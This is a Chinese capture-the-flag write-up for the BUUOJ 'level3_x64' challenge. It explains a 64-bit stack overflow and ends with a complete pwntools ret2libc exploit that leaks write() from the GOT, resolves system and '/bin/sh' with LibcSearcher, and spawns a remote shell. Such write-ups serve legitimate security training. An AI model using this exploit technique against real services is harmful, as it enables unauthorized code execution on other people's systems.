level3_x64(普通栈溢出)

level3_x64

拿到题目,我们先checksec一下:

1

明显发现,没有开启栈保护,所以很有可能是栈溢出题目,IDA反汇编后:

2

看来确实是栈溢出,我们将断点打在vulnerable_function函数快要结束的地方(leave 0x400618):

3

查看此时的栈空间排布:

4

开来buf大小确实是0x80,接下来我们可以快乐的写脚本了,可以肯定的是libc的泄露,我们可以使用write函数进行泄露,64位传参是通过寄存器的,前三个寄存器分别是:edi,esi,edx,我们去寻找一下:

5

可惜的是,我们只找到了前面两个参数的,貌似没办法泄露地址,没事,write第三个参数表示的是向屏幕输出的大小,只要函数返回的时候,edx有值,且大于6,就可以了,我们继续将断点打在vulnerable_function函数快要结束的地方(leave 0x400618),观察edx寄存器的值:

6

放心了,值是0x200,接下来就是利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

from LibcSearcher import *

#sh = process("./pwn")

sh=remote("node5.buuoj.cn",28743)

elf = ELF("./pwn")

context.log_level="debug"


write_plt_address = elf.plt["write"]

write_got_address = elf.got["write"]

main_address = elf.symbols["main"]

pop_rdi_ret = 0x4006b3

pop_rsi_r15_ret = 0x4006b1

ret_address = 0x400499



sh.recvuntil("Input:\n")



payload = "A"*(0x80+0x8) + p64(ret_address) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got_address)

payload += p64(0) + p64(write_plt_address) + p64(ret_address) + p64(main_address)

sh.sendline(payload)



write_address = u64(sh.recvuntil("I")[0:6].ljust(8,'\0'))

print(hex(write_address))



libc = LibcSearcher("write",write_address)

libc_base = write_address -libc.dump("write")

system_address = libc_base + libc.dump("system")

bin_sh_address = libc_base + libc.dump("str_bin_sh")


sh.recvuntil("nput:\n")

payload = "A"*(0x80+0x8) + p64(ret_address) + p64(pop_rdi_ret) + p64(bin_sh_address) +p64(system_address) + p64(main_address)

sh.sendline(payload)



sh.interactive()